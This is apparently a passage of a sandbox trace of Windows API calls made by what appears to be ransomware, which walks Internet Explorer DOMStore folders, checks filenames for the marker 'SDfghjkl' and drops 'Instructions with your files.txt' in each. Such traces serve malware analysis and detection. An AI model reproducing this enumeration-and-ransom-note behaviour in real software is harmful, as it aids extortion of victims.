[0131.150] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 1
[0131.150] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml") returned 120
[0131.150] StrStrIW (lpFirst="imagesrv.adition[1].xml", lpSrch="SDfghjkl") returned 0x0
[0131.150] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 0
[0131.150] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\Instructions with your files.txt") returned 129
[0131.150] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.151] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.151] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.152] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.152] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.152] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.152] CloseHandle (hObject=0x120) returned 1
[0131.152] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.152] GetProcessHeap () returned 0x810000
[0131.152] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.152] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3O75JDME", cAlternateFileName="")) returned 1
[0131.152] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME") returned 96
[0131.152] GetProcessHeap () returned 0x810000
[0131.152] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.152] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*") returned 98
[0131.152] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.153] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\.") returned 98
[0131.153] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.153] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.153] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\..") returned 99
[0131.153] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.153] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 1
[0131.153] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml") returned 114
[0131.153] StrStrIW (lpFirst="www.google[1].xml", lpSrch="SDfghjkl") returned 0x0
[0131.153] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 0
[0131.153] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\Instructions with your files.txt") returned 129
[0131.153] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.154] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.155] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.155] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.155] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.155] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.155] CloseHandle (hObject=0x120) returned 1
[0131.155] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.155] GetProcessHeap () returned 0x810000
[0131.155] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.155] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
[0131.155] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat") returned 97
[0131.155] StrStrIW (lpFirst="index.dat", lpSrch="SDfghjkl") returned 0x0
[0131.155] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UV0DUWVB", cAlternateFileName="")) returned 1
[0131.155] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB") returned 96
[0131.155] GetProcessHeap () returned 0x810000
[0131.155] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.155] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*") returned 98
[0131.155] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.156] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\.") returned 98
[0131.156] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.156] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.156] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\..") returned 99
[0131.156] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.156] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.156] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\Instructions with your files.txt") returned 129
[0131.156] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\uv0duwvb\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.156] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.157] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.157] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.157] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.157] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.158] CloseHandle (hObject=0x120) returned 1
[0131.158] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.158] GetProcessHeap () returned 0x810000
[0131.158] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.158] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 1
[0131.158] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09") returned 96
[0131.158] GetProcessHeap () returned 0x810000
[0131.158] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.158] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*") returned 98
[0131.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.158] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\.") returned 98
[0131.158] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.158] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.158] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\..") returned 99
[0131.158] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.158] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0x0, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 1
[0131.158] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml") returned 111
[0131.158] StrStrIW (lpFirst="www.msn[1].xml", lpSrch="SDfghjkl") returned 0x0
[0131.158] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0x0, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 0
[0131.159] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\Instructions with your files.txt") returned 129
[0131.159] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.159] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.160] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.160] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.160] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.160] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.160] CloseHandle (hObject=0x120) returned 1
[0131.160] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.160] GetProcessHeap () returned 0x810000
[0131.160] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.160] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 0
[0131.160] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\Instructions with your files.txt") returned 120
[0131.160] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.162] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.163] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
